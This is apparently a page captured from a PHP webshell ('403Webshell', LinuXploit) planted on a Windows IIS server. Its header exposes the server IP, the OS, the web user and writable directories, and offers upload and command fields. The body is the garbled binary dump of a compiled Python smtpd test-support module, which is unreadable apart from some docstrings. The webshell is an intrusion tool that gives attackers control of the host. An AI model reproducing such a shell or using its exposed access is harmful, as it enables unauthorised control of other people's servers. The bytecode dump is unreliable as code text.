403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.70
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/test/support/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/test/support/__pycache__/smtpd.cpython-315.opt-1.pyc
R
>lqj�{c�n�Qs]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QH G	s	G
s
]QH,Gs]QH4GsGs,QNs\O"]*sQsQ	Q
2s\2rQsQsQ
sQQksQQ\
O42sQQ\	O82sQQ\2sQQ\2sQQ2s Qs!\"Q6XCc\!2s#\#OHs$Q\$7c8\$OKQ2s&\'\$P\&\(2\)2P,2s*\$\&]*Ps$L]PH�s*\,\*\$2s-\-\#O\\#O^1\#O`\#Ob1\#Od\#OfQ5s4\#Oj%c2]PH�s6\6OvQ2]*s<\Oj\<2\	O|2P!P!\7c*\8Q\OrQ5\Ot]2Kqh9h\=c*\8Q\OrQ5\Ot]2Kxh9h\?cP!h9h)a�An RFC 5321 smtp proxy with optional RFC 1870 and RFC 6531 extensions.

Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]

Options:

    --nosetuid
    -n
        This program generally tries to setuid 'nobody', unless this flag is
        set.  The setuid call will fail if this program is not run as root (in
        which case, use this flag).

    --version
    -V
        Print the version number and exit.

    --class classname
    -c classname
        Use 'classname' as the concrete SMTP proxy class.  Uses 'PureProxy' by
        default.

    --size limit
    -s limit
        Restrict the total size of the incoming message to "limit" number of
        bytes via the RFC 1870 SIZE extension.  Defaults to 33554432 bytes.

    --smtputf8
    -u
        Enable the SMTPUTF8 extension and behave as an RFC 6531 smtp proxy.

    --debug
    -d
        Turn on debugging prints.

    --help
    -h
        Print this message and exit.

Version: %(__version__)s

If localhost is not given then 'localhost' is used, and if localport is not
given then 8025 is used.  If remotehost is not given then 'localhost' is used,
and if remoteport is not given, then 25 is used.
)�asyncore�asynchat)�warn)�
get_addr_spec�get_angle_addr�SMTPChannel�
SMTPServer�DebuggingServer�	PureProxyzPython SMTP proxy version 0.3c�.`�\sQs]\snQsQsQsUsP!)�Devnullc��P!�N���self�msgs&&�'C:\Python315\\Lib\test\support\smtpd.py�write�
Devnull.write]s��$�c��P!r
r�rs&r�flush�
Devnull.flush^s��Trr)�__name__�
__module__�__qualname__�__firstlineno__rr�__static_attributes__�__classdictcell__��
__classdict__s@rrr\s������rr�
z, ic���[[[2*[OQ5U%c[U[OQ5[O
U2P!)��file)�print�__doc__�globals�sys�stderr�exit)�coders&&r�usager-gs3��	�'�G�I�
�C�J�J�/�
�
�c��
�
�#��H�H�T�Nrc�*`�\sQs]nsn]s]sQs\O\1Qk2s	\
Q2s\PP
P
1Qks
QsQs\
Q2s\O"Q2s\
Q	2s\O"Q
2s\
Q2s\O"Q2s\
Q
2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2s\
Q2s\O"Q2sQsQsQsQ sQ!s Q"s!Q#s"Q$s#Q%s$Q&s%Q's&Q(s'Q)s(Q*s)Q+s*Q,s+Q-s,Q.s-Us.P!)/r�c��U!r
r)�xs&r�<lambda>�SMTPChannel.<lambda>ss��qrc��[UOO22![cSOt!h9hr
)�max�command_size_limits�values�
ValueError�command_size_limitrs&r�max_command_size_limit�"SMTPChannel.max_command_size_limitus<��	+��t�/�/�6�6�8�9�9���	+��*�*�*�	+�s�"&�	A�
A�Ac�^�[OOVUQ5VmV mV0mV@mV`mVpmU%cU%c[Q2gU%c"PUm
QUmQUm[UmL%QUm
QUm[Q2UmQUmUO!2PUmP
UmUO&O)2[*O,2UmUO12Um[=Q[?UO22[@Q	5UOCQ
UO.8Q[D802P![4c<oSO72SO8[8O:6wcgPo=P!Po=hh9h)��map�Fdecode_data and enable_SMTPUTF8 cannot be set to True at the same time�
�.r�
�.�
zPeer:r$z220 � )#r�
async_chat�__init__�smtp_server�conn�addr�data_size_limit�enable_SMTPUTF8�_decode_datar8�_emptystring�_linesep�_dotsep�NEWLINE�_newline�ord�_set_rset_state�
seen_greeting�
extended_smtpr6�clear�socket�getfqdn�fqdn�getpeername�peer�OSError�close�errno�ENOTCONNr&�repr�DEBUGSTREAM�push�__version__)	r�serverrIrJrKr>rL�decode_data�errs	&&&&&&&& rrG�SMTPChannel.__init__|sG�����$�$�T�S�$�9�!���	��	�.��.��'���{��@�A�
A�� "�D��"�D�M��D�L�#�D�M� #�D��#�D�M��t�9�D�L�!�D�M��������"���� � �&�&�(��N�N�$��	�	��(�(�*�D�I�	�g�t�D�I�I��[�9��	�	����K�8�9���	�
�J�J�L��y�y�E�N�N�*����
	�s$�E&�&	F,�0F,�1.F'� F'�'F,c��UOUmPUm,UmP
Um]UmUO
Q2P!)z/Reset state variables to their post-DATA state.rB)�COMMAND�
smtp_state�mailfrom�rcpttos�require_SMTPUTF8�	num_bytes�set_terminatorrs&r�_set_post_data_state� SMTPChannel._set_post_data_state�s8���,�,�����
���� %���������G�$rc�D�UO2PUm,UmP!)z.Reset all state variables except the greeting.)rq�
received_data�received_linesrs&rrT�SMTPChannel._set_rset_state�s���!�!�#���� ��rc�>�[Q[]2UO!)zTAccess to __server attribute on SMTPChannel is deprecated, use 'smtp_server' instead�r�DeprecationWarningrHrs&r�__server�SMTPChannel.__server�s!���(�);�Q�	@����rc�6�[Q[]2VmP!)zRSetting __server attribute on SMTPChannel is deprecated, set 'smtp_server' insteadrx�r�values&&rrzr{�s���(�);�Q�	@� �rc�>�[Q[]2UO!)zUAccess to __line attribute on SMTPChannel is deprecated, use 'received_lines' instead�rryrurs&r�__line�SMTPChannel.__line�s!���+�,>��	C��"�"�"rc�6�[Q[]2VmP!)zSSetting __line attribute on SMTPChannel is deprecated, set 'received_lines' insteadr�r}s&&rr�r��s���+�,>��	C�#�rc�>�[Q[]2UO!)zRAccess to __state attribute on SMTPChannel is deprecated, use 'smtp_state' instead�rryrkrs&r�__state�SMTPChannel.__state�s���'�(:�A�	?����rc�6�[Q[]2VmP!)zPSetting __state attribute on SMTPChannel is deprecated, set 'smtp_state' insteadr�r}s&&rr�r��s���'�(:�A�	?��rc�>�[Q[]2UO!)zXAccess to __greeting attribute on SMTPChannel is deprecated, use 'seen_greeting' instead�rryrUrs&r�
__greeting�SMTPChannel.__greeting��!���*�+=�q�	B��!�!�!rc�6�[Q[]2VmP!)zVSetting __greeting attribute on SMTPChannel is deprecated, set 'seen_greeting' insteadr�r}s&&rr�r������*�+=�q�	B�"�rc�>�[Q[]2UO!)zSAccess to __mailfrom attribute on SMTPChannel is deprecated, use 'mailfrom' instead�rryrlrs&r�
__mailfrom�SMTPChannel.__mailfrom�s���%�&8�!�	=��}�}�rc�6�[Q[]2VmP!)zQSetting __mailfrom attribute on SMTPChannel is deprecated, set 'mailfrom' insteadr�r}s&&rr�r��s���%�&8�!�	=��
rc�>�[Q[]2UO!)zQAccess to __rcpttos attribute on SMTPChannel is deprecated, use 'rcpttos' instead�rryrmrs&r�	__rcpttos�SMTPChannel.__rcpttos�s���$�%7��	<��|�|�rc�6�[Q[]2VmP!)zOSetting __rcpttos attribute on SMTPChannel is deprecated, set 'rcpttos' insteadr�r}s&&rr�r��s���$�%7��	<��rc�>�[Q[]2UO!)zTAccess to __data attribute on SMTPChannel is deprecated, use 'received_data' instead�rryrtrs&r�__data�SMTPChannel.__data�r�rc�6�[Q[]2VmP!)zRSetting __data attribute on SMTPChannel is deprecated, set 'received_data' insteadr�r}s&&rr�r��r�rc�>�[Q[]2UO!)zKAccess to __fqdn attribute on SMTPChannel is deprecated, use 'fqdn' instead�rryrZrs&r�__fqdn�SMTPChannel.__fqdn����!�"4�a�	9��y�y�rc�6�[Q[]2VmP!)zISetting __fqdn attribute on SMTPChannel is deprecated, set 'fqdn' insteadr�r}s&&rr�r�����!�"4�a�	9��	rc�>�[Q[]2UO!)zKAccess to __peer attribute on SMTPChannel is deprecated, use 'peer' instead�rryr\rs&r�__peer�SMTPChannel.__peerr�rc�6�[Q[]2VmP!)zISetting __peer attribute on SMTPChannel is deprecated, set 'peer' insteadr�r}s&&rr�r�r�rc�>�[Q[]2UO!)zKAccess to __conn attribute on SMTPChannel is deprecated, use 'conn' instead�rryrIrs&r�__conn�SMTPChannel.__connr�rc�6�[Q[]2VmP!)zISetting __conn attribute on SMTPChannel is deprecated, set 'conn' insteadr�r}s&&rr�r�r�rc�>�[Q[]2UO!)zKAccess to __addr attribute on SMTPChannel is deprecated, use 'addr' instead�rryrJrs&r�__addr�SMTPChannel.__addr"r�rc�6�[Q[]2VmP!)zISetting __addr attribute on SMTPChannel is deprecated, set 'addr' insteadr�r}s&&rr�r�'r�rc��[OOS[UQ*UO%cQLQ22P!)r@�utf-8�ascii)rrFrc�bytesrnrs&&rrc�SMTPChannel.push.s7����� � ��u��&�L�T�%:�%:�%:�'��(I�	Jrc���PoUOUO6XcUOoL'UOUO6Xc
UOoU%cUO
U6�cP!U%c#U9O
[
U2*
tmUO%c(UOO[UQ22P!UOOU2P!)Nr�)rkrjr:�DATArKro�lenrMru�append�str)r�data�limits&& r�collect_incoming_data�!SMTPChannel.collect_incoming_data3s������?�?�d�l�l�*��/�/�E�
�_�_��	�	�
)��(�(�E��T�^�^�e�+��
��N�N�c�$�i�'�N��������&�&�s�4��'9�:����&�&�t�,rc��UOOUO2o[Q[	U2[
Q5,UmUOUO6XCc.UO]tp mU%fUOQ2P!UO%f
[UQ2oUOQ2oU]6cUO2oPoL,UPUO2oV]*PO2oUO%cUO U*LUO"oV&6�cUOQ2P![%UQU*P2oU%fUOQU*2P!UU2P!UOUO&6wcUOQ2]UmP!UO(%c6UOUO(6�cUOQ	2]UmP!,oUO+UO,2FDNo	U	%c3U	]*UO.6XcUO1U	Q
*2J=UO1U	2JP	UO2OU2UmUO6UO8UO:UO41o
-oUO%fQUO<QUO>-oUO@OBU
-U@oUOE2U%fUOQ
2P!UOU2P!)zData:r$z500 Error: bad syntaxr�rEz500 Error: line too long�smtp_z&500 Error: command "%s" not recognizedz451 Internal confusionz552 Error: Too much mail data��NN�mail_options�rcpt_options�250 OK)#rN�joinrur&rarbrkrjrorcrMr��find�upper�striprVr6r9�getattrr�rK�splitrOrPr�rRrtr\rlrmr�r�rH�process_messagerq)
r�line�sz�i�command�arg�max_sz�methodr��text�args�kwargs�statuss
&            r�found_terminator�SMTPChannel.found_terminatorCs���� � �%�%�d�&9�&9�:��
�g�t�D�z��4� ����?�?�d�l�l�*�!%�����B����	�	�1�2���$�$�$��4��)���	�	�#��A��1�u��*�*�,�����r��(�.�.�*���Q�3�4�j�&�&�(���-�-�-��.�.�w�7�37�3J�3J�
��{��	�	�4�5���T�7�W�#4�d�;�F���	�	�B�W�L�M���3�K�����$�)�)�+��	�	�2�3�!"�����#�#�#�����9M�9M�(M��	�	�9�:�!"�����D��
�
�4�=�=�1���D��G�t�|�|�3��K�K��R��)��K�K��%�	2�
"&���!3�!3�D�!9�D���I�I�t�}�}�d�l�l�D�<N�<N�O�D��F��$�$�$�"�D�$5�$5�"�D�$5�$5����%�%�5�5�t�F�v�F�F��%�%�'���	�	�(�#��	�	�&�!rc��U%fUOQ2P!UO%cUOQ2P!UO2VmUOQUO*2P!)z501 Syntax: HELO hostname�503 Duplicate HELO/EHLOz250 %s)rcrUrTrZ�rr�s&&r�	smtp_HELO�SMTPChannel.smtp_HELO�sX����I�I�1�2�������I�I�/�0������ ���	�	�(�T�Y�Y�&�'rc��U%fUOQ2P!UO%cUOQ2P!UO2VmP	UmUOQUO*2UO
%cBUOQUO
*2UOQ99*]*
tt$UO%fUOQ2UO%c1UOQ2UOQ99*]
*
tt$UOQ2P!)z501 Syntax: EHLO hostnamer�z250-%sz250-SIZE %s�MAILz250-8BITMIMEz250-SMTPUTF8z250 HELP)	rcrUrTrVrZrKr6rMrLr�s&&r�	smtp_EHLO�SMTPChannel.smtp_EHLO�s�����I�I�1�2�������I�I�/�0������ ��!����	�	�(�T�Y�Y�&�'������I�I�m�d�&:�&:�:�;��$�$�V�,��2�,�� � � ��I�I�n�%������I�I�n�%��$�$�V�,��2�,��	�	�*�rc�`�U%cUOQ2P!UOQ2P!)z501 Syntax: NOOPr��rcr�s&&r�	smtp_NOOP�SMTPChannel.smtp_NOOP�s����I�I�(�)��I�I�h�rc�J�UOQ2UO2P!)z221 Bye)rc�close_when_doner�s&&r�	smtp_QUIT�SMTPChannel.smtp_QUIT�s���	�	�)�����rc�r�[U2oUPUO2U6XcV#PO2!P!r
)r�r�r�)r�keywordr��keylens&&& r�_strip_command_keyword�"SMTPChannel._strip_command_keyword�s8���W����w��<����7�*��w�<�%�%�'�'�rc���U%fQ!UO2OQ2%c[U2vq#L
[U2vq#U%fV#1!UOU1!)��<)r�r�)�lstrip�
startswithrr�	addr_spec)rr��address�rests&&  r�_getaddr�SMTPChannel._getaddr�sW����M��:�:�<�"�"�3�'�'�*�3�/�M�G�T�)�#�.�M�G���=� �� � �$�&�&rc��-oSFDOoUOQ2vq4oUO2%cU%c
U%fP!U%cSLP	V#$JQ	U!)�=)�	partition�isalnum)r�params�result�param�eqr~s&&    r�
_getparams�SMTPChannel._getparams�sJ�����E�$���s�3��E�u��=�=�?�?�b���%'�E�T�F�M�	�
�
rc���U%CcHQoUO2oUQ6XcUOQ2P!UQ6XcUOQ2P!UQ6Xc0QoUO%c	VB*
oUOU2P!UQ6Xc0QoUO%c	VB*
oUOU2P!UQ	6XcUOQ
2P!UQ6XcUOQ2P!UQ
6XcUOQ2P!UQ6XcUOQ2P!UQ6XcUOQ2P!UOQ2P!UOQ2P!)� [SP <mail-parameters>]�EHLOz250 Syntax: EHLO hostname�HELOz250 Syntax: HELO hostnamer�z 250 Syntax: MAIL FROM: <address>�RCPTz250 Syntax: RCPT TO: <address>r�z250 Syntax: DATA�RSETz250 Syntax: RSET�NOOPz250 Syntax: NOOP�QUITz250 Syntax: QUIT�VRFYz250 Syntax: VRFY <address>zD501 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFYzD250 Supported commands: EHLO HELO MAIL RCPT DATA RSET NOOP QUIT VRFY)r�rcrV)rr��extended�lc_argrs&&   r�	smtp_HELP�SMTPChannel.smtp_HELP�s$���3�0�H��Y�Y�[�F�����	�	�5�6��6�!��	�	�5�6��6�!�8���%�%�%��O�C��	�	�#���6�!�6���%�%�%��O�C��	�	�#���6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�,�-��6�!��	�	�6�7��	�	�5�6�
�I�I�,�
-rc���U%cIUOU2vq#U%cUOQ2P!UOQU*2P!UOQ2P!)zB252 Cannot VRFY user, but will accept message and attempt deliveryz502 Could not VRFY %sz501 Syntax: VRFY <address>)r�rc)rr�r�rs&&  r�	smtp_VRFY�SMTPChannel.smtp_VRFY�sJ���"�m�m�C�0�O�G���	�	�1�2��	�	�1�C�7�8��I�I�2�3rc��UO%fUOQ2P![QU[Q5QoUO%c
UQ*
oUeUOU2P!UOQU2oUO
U2vq4U%fUOU2P!UO%fU%cUOU2P!UO%cUOQ2P!UO2O2Um
UOUO2oUeUOU2P!UO%f-UOQQ2oUQ7cUOQ	2P!UO%c:UOQ
P
2oUP	Ic	P	UmLUP
IcUOQ2P!UOQP2oU%ciUO!2%fUOU2P!UO"%c.[%U2UO"6�cUOQ
2P!['UO)22]6�cUOQ2P!V0m[QUO[Q5UOQ2P!)�503 Error: send HELO firstz	===> MAILr$z 501 Syntax: MAIL FROM: <address>r	zFROM:z503 Error: nested MAIL command�BODY�7BITz1501 Error: BODY can only be one of 7BIT, 8BITMIME�SMTPUTF8z&501 Error: SMTPUTF8 takes no arguments�SIZEz:552 Error: message size exceeds fixed maximum message sizez:555 MAIL FROM parameters not recognized or not implementedzsender:r�)r�8BITMIME)rUrcr&rbrVr�r�rlr�r�r�rrM�poprLrn�isdigitrK�intr��keys)rr��	syntaxerrr�r�body�smtputf8�sizes&&      r�	smtp_MAIL�SMTPChannel.smtp_MAIL�s���!�!�!��I�I�2�3��
�k�3�[�1�6�	������2�2�I��;��I�I�i� ���)�)�'�3�7���-�-��,�����I�I�i� ���!�!�!�f��I�I�i� ���=�=�=��I�I�6�7��"�L�L�N�0�0�2�������!2�!2�3���>��I�I�i� ��� � � ��:�:�f�f�-�D��/�/��	�	�M�N�������z�z�*�e�4�H��4��(,��%���&��	�	�B�C���z�z�&�$�'����<�<�>�>��	�	�)�$���%�%�%�#�d�)�d�6J�6J�*J��	�	�V�W���v�{�{�}���!��I�I�R�S���
�
�i����[�9��	�	�(�rc��UO%fUOQ2P![QU[Q5UO%fUOQ2P!QoUO
%c
UQ*
oUeUOU2P!UO
QU2oUOU2vq4U%fUOU2P!UO
%fU%cUOU2P!UO2O2Um
UOUO2oUeUOU2P![UO22]6�cUOQ2P!UOOU2[QUO[Q5UOQ	2P!)
rz	===> RCPTr$z503 Error: need MAIL commandz501 Syntax: RCPT TO: <address>r	zTO:z8555 RCPT TO parameters not recognized or not implementedzrecips:r�)rUrcr&rbrlrVr�r�r�r�r�rr�r"rmr�)rr�r#r�rs&&   r�	smtp_RCPT�SMTPChannel.smtp_RCPT.sT���!�!�!��I�I�2�3��
�k�3�[�1��}�}�}��I�I�4�5��4�	������2�2�I��;��I�I�i� ���)�)�%��5���-�-��,�����I�I�i� ���!�!�!�f��I�I�i� ��"�L�L�N�0�0�2�������!2�!2�3���>��I�I�i� ���v�{�{�}���!��I�I�P�Q�������G�$�
�i����K�8��	�	�(�rc��U%cUOQ2P!UO2UOQ2P!)z501 Syntax: RSETr�)rcrTr�s&&r�	smtp_RSET�SMTPChannel.smtp_RSETQs-����I�I�(�)�������	�	�(�rc�8�UO%fUOQ2P!UO%fUOQ2P!U%cUOQ2P!UOUmUOQ2UOQ2P!)rz503 Error: need RCPT commandz501 Syntax: DATAs
.
z#354 End data with <CR><LF>.<CR><LF>)rUrcrmr�rkrpr�s&&r�	smtp_DATA�SMTPChannel.smtp_DATAXsp���!�!�!��I�I�2�3���|�|�|��I�I�4�5����I�I�(�)���)�)������L�)��	�	�7�8rc�*�UOQ2P!)z502 EXPN not implementedr�r�s&&r�	smtp_EXPN�SMTPChannel.smtp_EXPNgs���	�	�,�-r)rMrPrNrOrRrJrIrKrLrVrZr�rlror\r�rmrtrurnrUrHrk)/rrrrrjr�r9�collections�defaultdictr6�propertyr:�DATA_SIZE_DEFAULTrGrqrT�_SMTPChannel__server�setter�_SMTPChannel__line�_SMTPChannel__state�_SMTPChannel__greeting�_SMTPChannel__mailfrom�_SMTPChannel__rcpttos�_SMTPChannel__data�_SMTPChannel__fqdn�_SMTPChannel__peer�_SMTPChannel__conn�_SMTPChannel__addrrcr�r�r�r�r�r�r�r�rrrr'r*r-r0r3rrr s@rrrns������G��D���%�1�1�;M�2P�Q��
�+��+�<M��5�e�%:�N%�!�� �� ��_�_�!��!�
�#��#��]�]�$��$�
����
�^�^� �� �
�"��"����#��#�
����������
����������
�"��"��]�]�#��#�
�����]�]����
�����]�]����
�����]�]����
�����]�]����J�

-� ;"�|
(��, ��
�	'�	�!-�F	4�4�l!�F�9�.�.rc�D`�\sQsQsn\s\PP
P
1QksQsQs	Qs
UsP!)r�kc	��VmV mV0mVPmV`mU%cU%c[Q2g[OOVQ5[O%c]L[Oo[OUQUQ[O-oUOU]*]*U]*]*2UO2UO!U2UO#]2[%UO&O(8Q[*O,[*O*228QU8QU80[.Q5P!SO12g9h)r?r=�family�typez started at z
	Local addr: z
	Remote addr:r$)�
_localaddr�_remoteaddrrKrLrMr8r�
dispatcherrGrX�has_ipv6�AF_INET�getaddrinfo�SOCK_STREAM�
create_socket�set_reuse_addr�bind�listenr&�	__class__r�time�ctimerbr^)	r�	localaddr�
remoteaddrrKr>rLrfrH�gai_resultss	&&&&&&&  rrG�SMTPServer.__init__os!��$��%��.��.��'���{��@�A�
A����$�$�T�$�3�	:� �/�/�/�Q�v�~�~�F� �,�,�i�F��F�28�2D�2D�F�K����{�1�~�a�0�+�a�.��2C�D����!��I�I�i� ��K�K��N�

����'�'����D�I�I�K�)@��:�'�-8�
:��		��J�J�L��s�E(�2BE(�(E;c	���[Q[U2*[Q5UOUUUUOUO
UOUO2oP!)zIncoming connection from %sr$)r&rarb�
channel_classrK�_maprLrM)rrIrJ�channels&&& r�handle_accepted�SMTPServer.handle_accepted�sP��
�+�d�4�j�8�{�K��$�$�T�%)�%)�%)�%9�%9�%)�Y�Y�%)�%9�%9�%)�%6�%6�
8�rc��[g)ahOverride this abstract method to handle messages from the client.

peer is a tuple containing (ipaddr, port) of the client that made the
socket connection to our smtp port.

mailfrom is the raw address the client claims the message is coming
from.

rcpttos is a list of raw addresses the client wishes to deliver the
message to.

data is a string containing the entire full text of the message,
headers (if supplied) and all.  It has been 'de-transparencied'
according to RFC 821, Section 4.5.2.  In other words, a line
containing a '.' followed by other text has had the leading dot
removed.

kwargs is a dictionary containing additional information.  It is
empty if decode_data=True was given as init parameter, otherwise
it will contain the following keys:
    'mail_options': list of parameters to the mail command.  All
                    elements are uppercase strings.  Example:
                    ['BODY=8BITMIME', 'SMTPUTF8'].
    'rcpt_options': same, for the rcpt command.

This function should return None for a normal '250 Ok' response;
otherwise, it should return the desired response string in RFC 821
format.

)�NotImplementedError�rr\rlrmr�r�s&&&&&,rr��SMTPServer.process_message�s
��>"�!r)rMrJrKrKrL)rrrrrr]r8rGr`r�rrr s@rrrks*�����M�"3��!&�E�:�:8�"�"rc�.`�\sQsQsnQsQsQsUsP!)r�c�R�]oUO2oSFD�oU%cVU%fNQU]**o[U[2%f[UO	Q22o[U2]o[U[2%f[U2o[U2J�	P!)r�zX-Peer: r�)�
splitlines�
isinstancer�ra�encoder&)rr\r��	inheaders�linesr��
peerheaders&&&    r�_print_message_content�&DebuggingServer._print_message_content�s|���	����!���D���'�$�q�'�1�
�!�$��,�,�!%�j�&7�&7��&@�!A�J��j�!��	��d�C�(�(��D�z���$�K�rc�&�[Q2U%caUOQ2%c[QUQ**2UOQ2%c[QUQ**2UOV2[Q2P!)z%---------- MESSAGE FOLLOWS ----------r�zmail options: %sr�zrcpt options: %s
z%------------ END MESSAGE ------------)r&�getrords&&&&&,rr��DebuggingServer.process_message�si��
�5�6���z�z�.�)�)��(�6�.�+A�A�B��z�z�.�)�)��*�V�N�-C�C�D��#�#�D�/�
�5�6rr)rrrrror�rrr s@rrr�s�����"7�7rc�@``�\sQsQsnU1QksQsQsQsUsU9s	!)r	��c�v:�QU7cUQ*%c[Q2g[[U_U-U@P!)rLz$PureProxy does not support SMTPUTF8.)r8�superr	rG)rr�r�rUs&*,�rrG�PureProxy.__init__�s6�����&�6�2C�+D�+D��C�D�D�
�i��'��8��8rc��UOQ2o]oSFDoU%fL
U]*
oJ	UOUQU]**2[OU2oUO	V#U2o[QU[Q5P!)r"z
X-Peer: %szwe got some refusals:r$)r��insertrQr��_deliverr&rb)	rr\rlrmr�rmr�r��refuseds	&&&&&    rr��PureProxy.process_message�sr���
�
�4� ��
���D���
��F�A��	���Q��t�A�w�.�/��|�|�E�"���-�-��4�8��
�%�w�[�Arc�P�]PHo-oUO2oUOUO]*UO]*2UO	VU2oUO2U!SO2h9hSOc)o[Q[Q5SOoPo=S!Po=h[SO1cQo[QSO[Q5[SQP2o[SQQ2o	SFDo
X�1XZ$J
	Po=S!Po=hh9h)�zgot SMTPRecipientsRefusedr$�got�	smtp_code�
smtp_error�ignore)�smtplib�SMTP�connectrK�sendmail�quit�SMTPRecipientsRefusedr&rb�
recipientsr]�
SMTPExceptionrUr�)rrlrmr�r�r|�s�e�errcode�errmsg�rs&&&&       rr{�PureProxy._deliver�s������	/�����A�
�I�I�d�&�&�q�)�4�+;�+;�A�+>�?�
��*�*�X��=���������������,�,�	#��-�K�@��l�l�G������.�.�/�	/��%����;�7��a��b�1�G��Q��h�7�F���%�.��
�����	/�sI�AB�A2� B�2B�B�D%�D%�B;�;D%�D%�AD � D%r)
rrrrrGr�r{rr�
__classcell__)rUr!s@@rr	r	�s����9�
B��rc�(�\sQsQsP	sQsPsP
sQsP!)�Options�r	r)	rrrr�setuid�	classname�
size_limitrLrrrrr�r�s��
�F��I��J��Orr�c��[O[OQ*Q,QN2vq[2oWFD�vqEUQ
7c[	]2JUQ7c([
[2[O]2JGUQ7c
P
Um	JWUQ7c	VSm
JfUQ7c[OrJUQ7c
P	Um
J�UQ7fJ�[U2oVcmJ�	[!W2]6cQoQoLe[!U2]6c
U]*oQoLI[!U2]6cU]*oU]*oL&[	]Q["O%U2*2WO'Q2o	U	]6c[	]QU*2UPU	Um[Vy]*P2UmWO'Q2o	U	]6c[	]Q
U*2UPU	Um[V�]*P2UmU![Oco[	]S2Po=CK�Po=hh9h[
QS*[OQ5[O]2CJ59h[,c[	]Q	S*2K�h9h[,c[	]QS*2S!h9h)r�z	nVhc:s:duzInvalid size: r$zlocalhost:8025zlocalhost:25zInvalid arguments: %s�:zBad local spec: %szBad local port: %szBad remote spec: %szBad remote port: %s)zclass=�nosetuid�version�helpzsize=�debugr%)z-hz--help)z-Vz	--version)z-nz
--nosetuid)z-cz--class)z-dz--debug)z-uz
--smtputf8)z-sz--size)�getoptr)�argv�errorr-r�r&rdr+r�r�r*rbrLr!r�r��
COMMASPACEr�r��	localhost�	localportr8�
remotehost�
remoteport)
�optsr�r��options�optr��int_size�	localspec�
remotespecr�s
          r�	parseargsr�sc����]�]��H�H�R�L�+�
��
���i�G�����"�"��!�H�
�'�
'��+���H�H�Q�K�
�(�
(�"�G�N�
�%�
%� #��
�%�
%��*�*�K�
�(�
(�&*�G�#�
�$�
$�
��s�8��%-�"�#�.�4�y�1�}�$�	�#�
�	�T��Q����G�	�#�
�	�T��Q����G�	��!�W�
�
�a�(�:�?�?�4�+@�@�A�	���s��A��1�u�
�a�%�	�1�2�!�"�1�
�G��3��	�A�#�$��0���	�����A��1�u�
�a�&��3�4�#�B�Q��G��5� ��a�C�D�!1�2����N��q�<�<��
�a�������,
��&��,�3�:�:�>��������,�3�
�a�%�	�1�2�3���5�
�a�&��3�4��N�5�sY�1H	�H8�I9�.J�	H5�H5�H0�0H5�8:I6�9	J�J�J�	J?�'J?�>J?�__main__rA)rLz7Cannot import module "pwd"; try running with -n option.r$�nobodyz3Cannot setuid "nobody"; try running with -n option.)rrrr	)r�)@r'r)�osr_r�rVrXr5�test.supportrr�warningsr�email._header_value_parserrr�__all__r��programrdrrbrQr�r8r-rFrrLrrr	r�r�rr�r��rfind�lastdot�
__import__r(�locals�modr�r��class_r�r�r�r�r�rL�proxyr��pwd�ImportErrorr&r*r+�getpwnamr��PermissionError�loop�KeyboardInterruptrrr�<module>r�s)��+�N�	��
��
��+��D����(�(�1�+��-����
�i��
��
�
����z.�(�%�%�z.�zK"��$�$�K"�\7�j�7�<*�
�*�Z��?�D�z���k�G��!�!�I�
�i���/�/�#�&����8�G�,�g�i���B�4�H���g�a�i�j�)�	��
�S�)�
$�F��G�%�%�w�'8�'8�9��&�&��(:�(:�;��%�%�w�7N�7N�
P�E��~�~�~�	�����h�'��*��	��I�I�f��
��
�
��7��"�	��K�RU�R\�R\�]��H�H�Q�K�	���	��G�c�j�j�Y��H�H�Q�K�	��
�
��
�sH�=G�G6�.H)�G3�	'G3�2G3�6H&�<'H&�%H&�)H4�/H4�3H4

Youez - 2016 - github.com/yon3zu
LinuXploit